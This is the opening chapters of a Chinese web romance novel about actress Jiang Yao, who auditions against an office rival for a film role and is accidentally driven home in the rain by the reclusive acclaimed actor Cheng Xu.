《分手后恋情曝光怎么办》
1. 颁奖礼
华灯璀璨，车水马龙，时间接近晚上8点，空气似乎也更灼热了些。
从上午开始，诸多影视大咖以及业界新星就纷纷在B市现身，为即将举办的青苗奖颁奖典礼助阵。
助理一脸如临大敌的表情，看得江遥忍不住逗弄："你盯着我看半小时了，找出问题来了没，现在就算不满意妆造老师的钱也不能退了。"
对面女人油盐不进的样子，让小鱼颇有种皇帝不急太监急的无奈：“这么大场合，出了问题你粉丝会来追杀我的。”
一旁Susie正抓紧时间熟悉刘导的喜好和生平，懒得理会他们插科打诨，这时“唰”一声将手上文件翻过一页，往旁边浑不在意的女人身上扫了眼。
因着担心喧宾夺主，这次妆造其实他们已经力求低调。此刻江遥身着一条蝉翼般透亮的白色长裙，裙边羽毛轻轻浮动，将她本就瓷白的肌肤衬托得越发吹弹可破，可以想见行动间将如何楚楚动人；巴掌脸上闪动着一双娇媚含情的眼睛，半卷的长发松松披散肩头，美艳中不失清纯灵动。
其实小鱼也知道自己这会儿纯属是操心过度了，江遥的业务水平可能仁者见仁，不同人有不同的评价，但是对于她的相貌，就连黑子也不好意思昧着良心说话。
当年一部《问情》引爆荧屏，让大学还没毕业的江遥红透大江南北，尽管这几年口碑忽上忽下，大部分作品反响平平，但凭着那无往不利的美貌，也让无数吃瓜群众总忍不住向她投去关注的目光。
江遥的行程早早就被空了出来，经纪人Susie耳提面命今天的颁奖礼必须出席，但是没有作品傍身，不用看新闻她也知道外面是什么风声。
没办法啊，清高又不能当饭吃。江遥在心里轻叹。
“刘导您好，我是江遥，很高兴认识您。”看着对面满面红光的男人，江遥微笑着伸出手。
“久仰江小姐大名，闻名不如见面呐。”在圈子里打滚多年，刘聪见过的或美艳或知性或清纯的女演员不知凡几，而眼前这一位，白色长裙包裹着玲珑有致的身形，款步而来时，飘逸又轻盈；精致的五官加上傲人的身材，只能让人感慨造物主确实不够公平。
刘聪握住江遥伸过来的手慈爱地拍了拍：“希望后续有机会和江小姐合作。”
颁奖礼前的晚宴，向来是各凭本事的social舞台，导演、演员、投资商、经纪人们齐聚，新的合作说不定就在这一碰杯一颔首间敲定。
如顾声、陈清让等平常不爱参与圈内应酬的导演，也不好在这种场合扫了主办方的脸面，一圈人持着酒杯徘徊在他们周边，只为寻找机会在大导跟前露个脸。
江遥看Susie和刘导演互相吹捧得正起劲，站在旁边两眼放空。直到一句“我们遥遥可是刘导您的粉丝，特别喜欢您的上一部作品”入耳，江遥很是被Susie说话的艺术震惊到，脸上的微笑面具缓缓龟裂，赶紧偏头悄悄调整了下表情。
刘聪其实也算是圈内较有资历的导演了，曾经很是捧出过几个电影新人，却不想计划赶不上变化，正应趁势进发的时候听说身体没能撑住，停工调养了好几年，前些年才再度出山，执掌的第一部电影就赢得了当年的暑期档票房亚军，让流量小生宴池粉丝基数更上一层。如今，在圈子内也算得上是炙手可热。
但正如Susie所说，江遥私下对他的评价是：近期的作品一部不如一部，最好的永远是上一部。
然而瘦死的骆驼比马大，对于江遥这种连电影圈门槛都没有完全迈入的人，现在也没有她挑剔的份儿。毕竟，不是谁都有机会上来就够得着陈清让等重量级人物的。
他们今天来这儿，就是为了争取刘聪新电影女二的试镜机会。
根据Susie得到的消息，原定女二由于档期冲突不得不退出，女二号将重新选角，各资方都在不断推荐艺人，她所属的经纪公司轻音娱乐也正在积极接洽中。
“怪不得方琦最近整个人都和煦了不少，原来是搁这儿等着。”小鱼恍然大悟。
虽然公司的资源倾斜大家都看在眼里，公司推荐估计也不会落到江遥头上，但Susie却不愿意就此认下，角色未定，自然机会均等：“反正我们也几个月没正经开张了，这么多张嘴嗷嗷待哺，角色没官宣前谁还不能争取了。”
所幸她有位相熟的校友正好在刘聪的团队，请他从中帮忙牵线搭桥，刘导答应在颁奖典礼这天给他们一次面谈机会。这不，Susie火急火燎带着江遥赶来A城准备横插一脚。
想到此处，江遥强打起精神，准备继续听Susie念经。不妨抬头的瞬间和对面一道视线遥遥相会。
宴会厅门口，工作人员正簇拥着一个男人快步走来，来人一身考究的暗黑色西服，身姿笔挺，如竹如松。打眼看去明明和周边男性衣着并无太大不同，但穿在他身上却让人仿佛误入名流集会场所，贵气逼人。随着脚步临近，周边细细的交谈声倏然一窒，沉寂两秒后却爆发出更大的窸窣声。
男人抬眼的一瞬，江瑶直直撞进一双深邃的眸子，冷冽、深沉。斜搭下来的一绺刘海，让他的全副武装看起来稍稍有一丝松懈。
导演陈清让听到动静迎上前，男人恭敬垂首立在他身边。
伯乐与千里马再相逢，哪来心力再给别人眼神。散落在周边踌躇已久的人们知道今日彻底无望，对视一眼开始寻找下一个机会。
“这几年想逮到你不容易啊。”陈清让拍了拍程绪的肩膀。寒暄过后，单刀直入小声问起他的下一步工作安排，“我手上这个本子真的挺适合你的，带回去看看？”
年纪轻轻就站到了这个位置，接戏全看个人心情。陈清让好不容易堵到他，自然不放过游说的机会。也不是没有考虑过另外找人，但跟眼前这位一比，都成了下下之选。有他在，他就是角色本身。
迟迟没有听到对方答复，陈清让抬起眼皮瞥了眼：“怎么，还没休息够呢？”
男人仿佛刚刚回神，漫不经心应了一声。
和众人之前的预测没有太大偏差，作为本届青苗奖的头号种子选手，今晚的颁奖之夜，陈清让导演带领的《又见山河》剧组可谓风光无限，一举斩获最佳导演奖、最佳男主角、最佳音乐、最佳影片等多项殊荣。而这届颁奖季来
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势汹汹的新晋小生苏远安，却以数票之差和最佳电影新人奖失之交臂，粉丝一片安慰声起。
但是对于吃瓜群众而言，最让人惊喜的是，却是本次最佳男主角的颁奖嘉宾——程绪。
两个由陈导演一手调教出来的影帝，好似在领奖台上完成了一次新老交替。
主持人念出名字的一瞬间，屏幕前追直播的人还以为自己出现了幻听。当追光灯亮起，他从黑暗中提步走来，仿佛心底最美的梦在眼前徐徐展开，不敢置信，不忍惊醒。
短短几分钟后，直播间观看人数迅速翻番，最后直接卡黑屏。
有人好奇：「近半年没有公开活动了，他最近到底在忙啥？」
「没人通知我啊，我也不知道我老公最近在干啥咧。」
「年纪大了，成就也到顶了，还不兴人好好享受享受生活嘛！」
「确实，再拍也很难超越《野望》的成就吧，养老保险已经到手了。」
「二十几岁正是奋斗的年纪好不好，前面几部作品的台词我都能倒背如流了，陈导快把他抓进组里狠狠拍戏！」
作为国内最年轻的影帝，从七年前第一次拿下青苗奖最佳男主角开始，程绪在短短几年间事业仿佛开了挂，此后接拍的作品多次入围国内外各大电影节，把能拿的奖项拿了个遍。然后大量减产，慢慢淡出了大众视线。
今天他突然出席颁奖礼，大概率也是看的陈导的面子。
场外记者早已架好长枪短炮，等着拿到程绪的第一手新闻，殊不知他们等待的主人公早已驶离了这片喧嚣的风景。
女人看着后视镜里逐渐淡出的景象，将指尖的烟灰轻轻一掸，缓缓升起车窗。
当了一阵子咸鱼，一天应酬下来，江遥瘫在座椅上完全不想动。
小鱼回头望了望里三层外三层的人群，轻轻舒了口气，“托程影帝的福，今晚大家的注意力全被他一个人抢走了，不然我都担心你又被拉去热搜站岗。”
他一出场，影帝影后得主都星光黯淡，何况其他呢。
尽管互联网的某个角落里还有三两个人在坚持不懈，试图声讨江遥没有作品强行蹭红毯、被老同学后来居上稳稳压一头等等自甘堕落的行径，奈何声量太小，很快就被淹没在巨大的狂欢浪潮中。
小鱼吁了口气，绷了一晚上的神经彻底放松下来，拿起手机刷了刷：“哇，怪不得那些媒体都没堵到程影帝，原来人家早都跟孟棠吃上饭了。你瞅瞅，他们还给店员合体签了名。”
只见图片上并排着两个龙飞凤舞的签名。别说，风格还挺搭，一样的恣意狂放。江遥忍不住想。
小鱼接着感慨：“不过等大家反应过来，这会儿他们估计早已换下一场了。”
果不其然，热搜榜上，相关词条位置正在飞速蹿升，嗅觉灵敏的人们闻风而动，纷纷发帖讨论。聊天软件上，朋友们互相交换着一手消息，按捺不住激动的心情。沉寂已久的糖絮CP颇有卷土重来之势。
圈子里很多人把程绪当偶像，也有很多女明星含羞带怯表达过想合作的意愿，但这么多年，唯有孟棠走近过他身边。
2. 冤家路窄
昨晚连夜飞回A城，到家收拾妥当已近黎明时分。江遥直接给小鱼放了个假，蒙头睡到了自然醒。
拿起手机一看，时间已经接近下午三点半。
微信里躺着Susie发来的消息：「你先好好休息，刘导那边有后续我再通知你。」
想想Susie最近干劲十足，江遥懒懒回复：「行，听你安排。」
毕业后连轴转了好些年，她甚至没有太多睡懒觉的机会。刚停下来时还颇有点不习惯，但习惯嘛，适应适应就好。
这个圈子就是这样，任你从前如何前拥后簇，一旦远离镜头太久，再光鲜的人也难免剥落金身。所谓红气养人，不过是有足够的底气支撑，由内而外散发的自信充盈，又怎会不闪耀动人。
拉开厚重的窗帘，细碎的阳光已经渐渐西移，江遥忍不住深吸一口气，感受这难得的惬意。
昨晚穿着礼服没敢吃太多东西，这会儿饿意疯狂反扑。等不及外卖上门，她决定自力更生。
奈何将冰箱翻了个底朝天，也只搜罗出了一个鸡蛋和一小把面条。
在家时习惯了饭来张口，进圈后一直被通告推着走，虽然江遥自认为只要潜心修炼，她也有望成为一代厨神，但现实是，所谓的半成品到了她手中，也只有报废的份。
开水煮面卧个鸡蛋，已经是她对五脏庙祭出的最大的诚意了。
等水烧开的过程中，江遥闲闲扫了眼网上的新闻。最初发布糖絮签名的博主被网友的热情吓到，早已删除了微博。CP粉们经过一天一夜的情绪释放，昨晚的狂欢已经渐渐归为沉寂。
面条出锅，江遥正打算拿起筷子来大快朵颐，不料又有信息提示音响起。
汪静静刚下戏，迫不及待来打听一手消息：「怎么样，有没有心理平衡点，现在大家又是同一起跑线。」
江遥还没来得及回复，那边又接着道：「让他们拉踩通稿不要钱似的发，我还以为志在必得呢。」
看得江遥哭笑不得，安抚道：「倒也不用这么嫉恶如仇，他罪不至此的。」
网友们向来就是看热闹不嫌事大。
从几天前苏远安入围青苗奖最佳新人奖的消息出来时，网上就不乏拉踩江遥的帖子。毕竟一个年少成名，还没毕业就爆红，几年混下来却看起来毫无长进；一个兢兢业业拍戏，带着作品入围电影节。更何况两人还是同班同学。这不现成的新闻素材，白来的流量哪有不赚的道理。
自从知道她和苏远安要去同一场晚会，汪静静就有点悬着心。前阵子碰到苏远安，他还问起过遥遥的近况。
还好昨晚媒体的焦点被程绪彻底转移，而江遥这边看起来也毫无异动。
汪静静这部戏要拍到下月底，两人好久没见，约好下次回A城一定要好好玩上几天。
看着桌上吃了一半的面条，颜色泛白毫无卖相，汤汁已经完全被吸光。江遥突然毫无食欲。
“遥遥，这是一次很好的机会，我不希望你后悔。”
“我又跟我妈新学了道新菜，等你回来做给你尝尝。”
“好啊，上次说好的生日面条也不能赖掉。”
“那是自然，答应你的我都没忘。”
……
是谁的笑语声，散落在风中。
Susie今天要去公司开会，约了江遥中午碰面。
电梯等了好一会儿都没来，江遥想起曾听小鱼多次咬牙切齿地提起，公司电梯简直是踩点打工人的天敌。看着变化的楼层数字，江遥双手抱臂，百无聊赖地敲着节拍。
电梯门缓缓打开，一群人说说笑笑走出来，领头两人看到江遥明显一怔。
从进公司开始，江遥基本没有停歇的时候，进组、拍杂志、广告……年会都不一定有时间露面，哪会跟他们一样这个点在公司出现。
只见她穿着一件简单的白色刺绣T恤，黑色短裙下大大方方露出笔直修长的双腿，脑袋上扣着一顶鸭舌帽，长发松松扎在脑后，发尾微微卷起，颇为随意。口罩下是一张素净的小脸，毫无妆容修饰，露出来的一双眼睛清亮有神。此刻肩膀斜倚在墙面上，整个人透着一股松弛慵懒的劲儿。
江遥斜斜瞥了他们一眼，心内一哂：李茜果然还是这幅德行，一向喜欢跟在旁人身旁狐假虎威。另外几个生面孔，估计是公司即将出道的新人。
一个杏眼圆圆的姑娘看到江遥抬眼，忍不住激动出声：“遥遥姐你好，我喜欢你好久啦！能给我签个名吗?”
其他人也不甘落后，争先恐后问好，场面一时颇为热闹。
江瑶被年轻的姑娘们围绕着，微笑着照单全收。抬头不见低头见，场面话谁不会说，认真你就输了。
“好久不见了，最近在忙什么呢？”方琦在旁边似笑非笑地看他们闹腾了一阵，这会儿出声邀约，“中午一起吃个饭?”
江遥还没想好怎么回绝，李茜“呵”地笑了一声，语带嘲讽：“她还能忙什么，忙着截胡咯。”
周边叽叽喳喳的声音慢慢小了下来，一群人恨不得化身空气，站在一旁不再出声，眉眼间的官司却一点没停。
有人朝同伴挤挤眼：“不是说他们两个关系还不错吗，这是什么情况?”
有人恍然大悟，一脸果然不出所料的态度：“我就说同期的竞争对手怎么可能是好友，塑料姐妹罢了。”
不管内心是如何翻涌，这几人他们谁也得罪不起，公司前辈的战争，不是他们可以插手的，不如明哲保身，免得溅上一身腥。
打定主意，有人弱弱举手：“遥遥姐、琦琦姐你们聊，我们还有事先走了。”
话音未落，一溜烟跑了个飞快。
没有围观群众，江遥也懒得陪他们上演姐妹情深的戏码。和刘导见面的消息，本来也没想瞒着谁。圈内资源就这么多，良性竞争有何不可。
“如你所见，各凭本事咯。”江瑶冷冰冰吐出几个字，转身按下了关门键。
“呸，还把自己当根葱呢，不知道在傲什么。”李茜最看不惯的就是她那清高劲儿，明明比她还晚进公司几年，运气好火了一把就不知道天高地厚了，“要我说再好的资源到她手里也是浪费。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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办公室里，Susie手里握着一沓资料看得认真，江遥敲了敲门，自己拉了把椅子坐下，猜测道：“刘导那边有消息了？”
Susie也不意外她的敏锐，合起文件，肯定地点点头：“对，下周试镜。”
看着眼前的女孩，从万人追捧到登高跌重，几经锤炼，此刻闲闲坐在那儿，仿佛万事不挂心。
Susie不由想起来当初刚刚接手她的时候，外面风雨交加，二十出头的女孩缩在沙发上，稍嫌稚嫩的脸庞，还带着一丝显见的迷茫，却反过来安慰她：“Susie姐，不好意思，以后你只能跟着我混啦。”
几年相伴，Susie自然是希望她的未来更加光明远大。此刻不无感慨：“既然你坚持不再续约，公司已经在慢慢减少你的公开行程和商务活动，以后公司层面不会再给你任何特殊优待。”
“这次刘导的电影会公开试镜。”她顿了顿，再次语重心长地交代：“遥遥，以后的路还长，之后的机会你要自己好好把握。”
江遥点点头，虚心受教。
刘聪新电影是一部现实题材的作品，秘密筹备将近半年，预计下月开拍。讲的是一对小镇长大的姐妹花，姐姐乖巧优秀，妹妹叛逆桀骜，从小到大，他们的方方面面都被周边人比较，姐姐羡慕妹妹的恣意任情，妹妹却在不断的比较中心态失衡，心生嫉恨，最后两人在一系列考验中互相和解，彼此治愈的故事。
选角已经进行了一段时间，主要角色陆续敲定，还剩一些留给资方发挥。江遥瞄准的就是剧里的妹妹一角。
试镜地点定在一家星级酒店，江遥到的时候，等候区已经围了一圈人，选角导演上来收好资料进了另一个房间。
因为是资方小范围推荐，相比于大海选，这次参与女二号试镜的人数相对来说不算多，大概二三十来个。等候的人中有些新面孔，也不乏老熟人。
方琦姗姗来迟，看到江遥一个人坐在那儿，一身素净的装扮，却仿佛有气流将她和周边分割开了一样。她稳稳神，扬起笑脸，径直走到她身前，自然得像老友会面。
“咱们最近缘分不浅。”
只要有观众在场，戏台子说搭就搭，说实话这么敬业的演员江遥私心是很佩服的，如果不是这人非爱拉着她演对手戏的话。
懒得应付，只好做出一副笑模样，从嘴里挤出几个字：“能不能让我一个人静会儿。”
对于她的反应，方琦丝毫不在意，继续自说自话：“瞧瞧刘导的戏多少人想上，鹿死谁手还真说不准呢，祝我们好运吧。”
“借你吉言。”
两人满脸笑意有来有往，旁人看起来还真是姐妹借机叙话。
不断有人被叫走，出来要不一脸深沉，要不喜上眉梢。
看着他们丰富的表情，江遥不禁想起了自己第一次参加公开试镜的时候，紧张得头一天晚上还在坐立不安，半夜窝在被子里给苏远安发消息。尽管内心跃跃欲试，却还是忍不住反反复复确认我是否真的可以。
他的鼓励，总能让她生出莫名的勇气。
3. 上错车了
面试这回事，向来是排在首尾两端的人最焦虑。
有些人三三两两凑在一起，互相提供打探来的消息。
“听说这个角色发挥空间蛮大的，演到就是赚到。”
“要真有这么好，之前那人怎么舍得推掉。高光肯定还是聚焦在姐姐那个角色身上。”
“我听到的是她之前的项目已经签了合同，刘导又不愿意等她档期，所以就成这样了。”
“反正刘导电影也不缺人上，不然哪轮得到我们呢?”
众人互相对视一眼，干干地笑了声。
下一个被叫进去的是方琦。
几年前她就是凭借一个恶毒女配的角色冒头，在方琦看来，女二这个角色简直是为她量身定做。
看到公司代表也坐在面试官的位置上，她心里更是一定。
经纪人其实已经偷偷透露过，导演看过她之前的作品觉得适配度还不错，电影着急开拍不会有那么多心力再去优中选优，加上公司极力推荐，短时间内如果没有比她更合适的人选，女二号十有八九就是她的了。
只要等试镜结束，一切结果就会尘埃落定，就算落选，也不会有人知道她参加了这场比拼，妨碍自己名声。但她还是选择来公开试镜。
按捺住内心的激动，方琦认真看起手头的剧本。
为拉拔两姐妹长大，父母早已积劳成疾。母亲生日时，姐姐拿着刚发的工资，给她买了一个按摩仪，桌上的亲戚都在夸孩子体贴懂事。妹妹楚云顶着乱糟糟的头发一脸汗的赶回来，被父亲拉着数落了好一阵，她满不在乎地捏紧兜里的发票，想着得赶紧去把藏在母亲房间的礼物拿出来，就是不知道老板还肯不肯让她退货，毕竟花掉了她赚了好久的外快呢。
楚云借口有事，提前离开了餐桌……
演员们的任务是，凭着自己对角色的理解，顺着这个场景演下去。
方琦暗暗揣摩，楚云是一个敢爱敢恨的人，并且在长期的对比中心态失衡，当着这么多人的面被误解，脾气一上头，自然不管不顾。但在愤怒的背后，是她极度渴望父母的关注。
不愧是一个个角色打拼出来的老演员，方琦放下剧本，眼波一转就入了戏。
看着众人对姐姐的夸赞，以及父母慈爱欣慰的目光，楚云只觉得自己和这温馨的环境格格不入，多一秒都待不下去。她重重拉开椅子，不管亲戚们惊讶的表情，直接冲进了父母的卧室，提着一个礼品袋子就要出门。
亲戚们见势不妙赶来阻拦，她歇斯底里，用力挣扎着想要离开家，远离这个让她窒息的地方。
楚云环视了一圈，父亲站在一旁涨红着脸不讲话，仿佛女儿给他丢了多大的脸；而母亲只会低头落泪，姐姐正搂着她的肩膀安慰。她颓然地坐在地上，低声控诉：“谁说手心手背都是肉，我早该知道的。”
从生气离开的情绪爆发，到最后认清现实的落寞低喃，两种表情的转换方琦信手拈来，看得面试官们连连点头。
方琦自然没有错过这一场面，她小心收起内心的得意，谦虚地鞠躬离场。
大半个上午很快过去，江遥等得开始犯困，迷迷糊糊中，听到有人在喊她的名字。
她猛地睁开眼，方琦放大的脸出现在她面前，歪着头似笑非笑，嘴巴一张一合。
“接下来看你表现咯。”
说罢挥挥手，踩着高跟鞋扬长而去。
很快轮到江遥了。
推门进去，刘聪和几个资方代表坐在一旁，江遥鞠躬问好，刘聪熟络地招呼：“江小姐，又见面了。”
江遥笑了笑算作回应，接过工作人员递过来的剧本片段，抓紧时间熟悉剧情，酝酿情绪。
留给她的只有10分钟。
她细细揣摩着这个女孩的内心。
生气，肯定是有的；委屈，自然也少不了。
可她真的会在这种场合不管不顾吗?未必。
成长的一路上，想必姐妹之间被比较已经成为习惯，可楚云还是选择在母亲生日这天，用自己赚的零花钱，买了礼物带回家。
她感念父母的付出。
虽然自己内心委屈难过，可是在亲戚面前，就算不能成为父母的骄傲，她也不想表现得一无是处。
江遥在脑海中细细搭建着这个场景，眉头一会儿舒展，一会儿紧锁。
10分钟很快过去，工作人员示意可以开始。
楚云满不在乎地垂着头，任凭父亲数落，好似这只是之前千百次场景的重演，她早已司空见惯。
不知是父亲的哪句话成了点燃深埋地雷的导火索，楚云“蹭”地一下弹起来。看到亲戚们望来的或疑惑或鄙夷的目光，到底还是把情绪收了收：“不好意思，我还有点事儿，大家慢慢吃。”
说完快步走出了房间。
看到女儿僵直的背影，母亲到底放心不下，放下筷子，小跑着上来哄劝。
楚云抬起眼来，眼底是强撑的倔强，嘴里吐出的话语仍是硬邦邦的语调：“吃你的饭去，你还来管我做什么？”
透过眼前这双不屈的眼睛，搭戏的工作人员仿佛看到那个被忽视的女儿，在对自己的母亲大声呼救。只是，一切炽热的情绪，都被脸上冰封的面具死死压住。
毫无疑问，此时，她就是楚云。
被江遥的情绪牵动，工作人员试探着开口：“你到底怎么了，有事也得先吃饱饭啊。”
母亲捏着小心翼翼的腔调，生怕惹急了她。知道她在气头上，却不知道要怎么安抚，说出口也只是一句要吃饱饭。死死拉着她的手臂不让走。
楚云清晰地听到自己内心刚刚加固的冰墙，“咔嚓”一声出现了一道裂缝，细小的裂纹在冰面上快速蔓延。
她感到莫名的心慌，心慌过后，又有快乐的气泡在水中咕嘟咕嘟，挣扎着想要冒头。
苦日子里趟过来的父母，压根不懂女儿过于细腻的情感需求。他们只能在力所能及的范围里，教给她做人的道理。在她伤心难过时，藏着实实在在的担忧。
内心凝聚的愤怒找不到发泄的目标，一丝一缕消散在胸腔里。满溢的委屈被母亲懵懵懂懂误打误撞地接住。她在心里叹息。
楚云好似认命一般，脸上仍是那副表情，看起来毫无波动，冷声安抚母亲：“就是想起来买的东西忘记拿了，我一会儿就来。”
母亲估计没想到是这个原因，明显愣了愣，脸上隐隐浮现出笑容。
由于楚云的性格标签是叛逆桀骜，之前试镜的演员大部分都选择放开了演，将她的愤怒委屈不管不顾地展现在大家面前，像一个受伤的孩子，既然不被人理解，干脆选择破罐子破摔。
方琦的表演要更进一层，凭着老道的表演经验，她看到了女孩的委屈，也理解她的愤怒的源头，发泄过后，是一种心如死灰的麻木。
江遥偏偏反其道而行。她试图反抗，却还是顾及母亲生日，不想闹得太难堪，只想自己默默退场。
而母亲追来的举动，让她内心燃起一丝希冀，试图把自己再次捞起。
她也想做一个光明美好的人，成为父母的骄傲的女儿。她不想，真的一个人孤零零离开家门。
生活就是这样，没有那么多纯粹的感情，或爱或恨的边界，总有人徘徊其中。可能作为看客缺少一些爽感，却更接近生活的本真。
江遥收好属于楚云的情绪，前一秒还冰冷默然的女孩突然就鲜活了起来，微笑着向工作人
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员道谢。
在场的人被江遥被江遥细腻的表演打动，一时半会儿还没回过神。仿佛真有一个女孩，在故事里历经悲伤又怀揣希望。
还是刘聪率先抽离出来，带头鼓起了掌，毫不掩饰对江遥的赞赏：“不愧是江老师。”
试镜还没结束，最终结果得过几天才出来。
江遥离开酒店，站在一旁等Susie来接。
早上出门时还热得不行，这会儿的太阳却仿佛失了温度，天边隐隐有乌云翻滚。
江遥去旁边便利店买了瓶水，恰好Susie打电话过来。
“感觉怎么样?”
“就那样吧。”江遥旋转着瓶盖，无可无不可地回答，“过几天就知道了。”
完全没有提起导演的肯定。
见人说人话见鬼说鬼话的场面见多了，没有定下的事都只能听听。
“那先不管了。”话筒那边高一声低一声，似乎有人在争吵。Susie捂着听筒，快速说道，“你可以自己打车回家吗?我这有点突发状况。”
公司的车这几天被派去跟其他艺人行程，小鱼还在休假。还好面试的酒店离江遥家不算远。
“行，我自己想办法。”江遥满口答应。
本来想着Susie忙完正好顺路可以捎上她，怎料计划赶不上变化。
挂完电话走出便利店，光线好像又变暗了一些。应该是要下雨了。
江遥干脆又回到便利店，找了个位置坐下。隔着玻璃看到路上的人形色匆匆，一起试镜的女孩陆陆续续有人走出来，又被车载着离开。
天气说变就变，不一会儿，闷雷滚滚而来，下一秒可能就有雨点落下。
手机上的订单一直没有人接。
江遥叹口气，今天怕是只能淋成落汤鸡。
急促的手机铃声响起，又是Susie。
“你打到车了没，外面突然下好大雨。”对面语气焦急。
“还没。”
“这天气估计难打到车了。”Susie当机立断，“你先在那别动，稍微等等，我找人来接你。”
几分钟后，一串车牌号发了过来。
伴随着雷声阵阵，雨点已经噼里啪啦甩下来，越下越凶。
便利店门口，断续传来“欢迎光临”的电子音。有赶时间的人，举着新买的雨伞走进狂风暴雨中。
江遥窝在角落，翻出口罩戴上，闷头玩起手机小游戏。
再抬头的时候，路边不知何时停了亮黑色的车，红色的车灯在雨中交替闪烁。
Susie信息也在此时追过来：「你人呢?」
「有没有看到，一辆黑色的车。」
江遥赶紧回复：「OK，看到了。」
不好意思让司机久等，她看了看外面的天气，赶忙把手机丢进包包里，把包遮在头上，朝那辆车跑过去。
使劲拉了下车门，没拉开。
探头往里看，什么都看不清。
江遥抬手，咚咚咚敲了敲车窗提醒。再动手去拉，还是纹丝不动。
僵持的时间里，雨水落在身上，衣服慢慢浸出水渍。要不了多久，头发也会被淋湿。
“送她一程。”后座的人吩咐。
挡板升起，车窗缓缓降下来。
江遥弯腰探头，不知道Susie在哪里找来的司机，整个人看起来挺拔利落，抬手给车门解了锁。
江遥赶紧拉开门坐进车里，掏出纸巾来擦了擦，歉意满满：“不好意思，雨有点大。专门麻烦您来一趟，还把车弄湿了。”
司机没有多话，要了地址，直奔目的地。
车中间的挡板落下，后排的风景完全无从窥探。
4. 回家
身上湿答答的，头发一绺一绺贴在脸颊上，黏糊糊让人受不了。
到家后江遥随手把包一甩，冲进浴室舒舒服服地泡了个澡，趿拉着鞋子坐在沙发上开始吹头发。
直到吹风机“呼呼”响了好一阵，才想起来还没和Susie报备一声，赶忙伸长手把塞包包里的手机够了过来。
恰好有电话这会儿打进来，手机屏幕疯狂闪动。巧了，说曹操曹操就到。
手指按在接听键上，正准备上滑，对面已经先一步挂断。
大概也就是问问到家没，江遥琢磨着，直接给她发条信息得了。
没想到点进屏幕，倒被排着队的好几个未接来电吓了一跳。除了Susie的，还有几个来自一个陌生号码。
正准备给Susie回个电话问问什么情况，又有消息弹出来，Susie在那边问：「你人呢?」
我人在家啊。江遥一脸纳闷。
戳进微信，近一小时里，Susie发了不少消息。
「你人呢，先走了?」
什么情况，不是你叫人来接的我吗?明明每个字都认识，连起来怎么不太知道是什么意思？
江遥抱着手机，微微睁大了眼睛，怀疑是不是Susie发错了信息。
「司机说没看到你人。」
啊？那载我的司机又是谁?她更懵了。
「看到回我信息。」
emmm已经是半小时前的消息了，不知道现在回还来不来得及。
「到家了没?」
10分钟前的。
「你人呢?」
看到这里，江遥手指倒是比脑子听话，马上回道：「已经到家了。」
「就是停便利店门口那台黑色车，不是你派来的吗？」
Susie：「……车牌号发你是当摆设的？被黑车拉走有你哭的时候。」
仿佛能够想象Susie抓狂的模样，江遥赶忙翻找压箱底的可爱表情包，连点几个发送，态度端正，再三保证下次再也不敢了。
Susie看着一屏幕卖萌打滚求饶的猫猫狗狗小娃娃，舌尖顶了顶腮帮子，直接气笑了。
得，这女人耍赖皮是有一手的。
另一边。
酒店门口，大雨肆意宣泄了一阵后，这会儿已经渐渐收了阵势，转而飘起毛毛小雨。
纤细高挑的女人戴着一副黑色墨镜，拎着爱马仕铂金包，在侍者整齐的恭送声里风风火火地迈出来，落后几步，一个清秀的男孩不远不近缀在后面。
环顾了下门口原本停车的地方，女人突然收住脚步，眉头微微蹙起。
身后的男孩跟着慢下了脚步。
孟棠一把摘下墨镜，再三确认自己没有看错。说好等她一起走的人，连车都没给她留！
她掏出手机，联系罪魁祸首：「你人呢?」
程绪秒回：「有事先走，你自己解决。」
看着手头的信息，程绪捏捏眉心，忍不住摇头失笑。
江遥离开后，司机已经装作不经意，偷偷从后视镜里瞥了他好几眼，想必也是在疑惑，为什么要多此一举，送那位小姐一程，毕竟他从不是个爱管闲事的人。
只是被良好的职业素养束缚，收敛住了那些不必要的好奇心。
当然，他也没有特意解释的心情。
孟棠生着一双细长的丹凤眼，原本不笑的时候就隐隐透露着疏离感，此时更是散发出一种生人勿近的气场。
男孩感受到她的心绪起伏，默默低下了头。擦肩而过时，还是克制不住内心的渴望，悄声问道：“姐，我还能找你吗？”
原本不大的声音越说越低，最后仿佛卡在了喉咙里。唯有一双湿漉漉的眼睛，倔强地将她望着。
没有掩好的乞求，就像随时会被主人抛下的小狗。
多么像呵。孟棠差点笑出声，为这仿佛揽镜自照般的荒谬感。
她伸手抚上男孩的脸颊，嫩滑紧致的肌肤，彰显着主人的年轻和稚嫩，也只有这个年纪的小孩，才妄图牢牢抓住他人的爱。
她强迫自己将视线从他身上移开，冷冰冰道：“最好别，他会不高兴的。”
盯着那双清澈的眼睛，她怕自己没法狠下心。
自从那场大雨过后，天气就没有放晴的时候。江遥推开窗，望着窗外茫茫的雨幕，马路上蚁群一般缓缓移动的车流，空气中潮湿的气息扑鼻而来，觉得时间或许会静止在这一刻。
在她感觉身上快要发霉的时候，试镜的结果终于出来了。
小鱼听到消息，第二天就收拾东西马不停蹄奔来和她汇合。
毕业后，江遥就在公司附近租了一间小公寓，面积不大，胜在温暖舒适，而且空间小也好打理。
鉴于她厨艺实在堪忧，又没有专门请阿姨，休息的时候小鱼偶尔会过来给她做饭，顺便收拾收拾屋子。江遥干脆把客房里的东西挪了出来，专门空出一间屋子给她和Susie偶尔留宿。
小鱼背着一个双肩包，两手拎着大大的超市购物袋，一进门搁下东西、踢掉鞋子就抱着江遥直跳：“姐，不愧是我的姐！我就知道我眼光杠杠的！”
江遥差点被她勒得上不来气，边掰紧紧缠着她的胳膊边质疑：“我怎么记得，你塌的房子都快连成一片小区了。”
“那不是当初年少无知嘛。”小鱼被揭了老底，挥挥手毫不在意，大大方方接受调侃，“我已经接受大家的建议，去眼科看过了，这回绝对好使。”
“你不知道李茜看到我的时候那个白眼翻的，我真想把眼科医生介绍给她呢。”吃饱喝足后，小鱼又坐在沙发上拍着大腿直乐，绘声绘色试图给江遥还原现场的硝烟味。
本以为板上钉钉属于方琦的角色，一个试镜后就成了江遥的囊中之物。李茜作为方琦的姐妹团，心里自然不好受。她一向以心直口快自居，在江遥面前都懒得掩饰，对江遥的助理自然更肆无忌惮，一点不怕得罪的。
还好小鱼一向心大。江遥瞥了眼她乐不可支的表情，幽幽来了句：“我发现你做助理实在太埋没人才了。”
小鱼终于停下“嘎嘎”的笑声，睁着眼睛示意她继续发表高见。
江遥在她求知若渴的视线下，接着补上下一句：“要不你干脆去唱戏吧，看你这唱念做打一套套的，到时候我肯定来捧场。”
这次，轮到小鱼给她翻了个白眼。
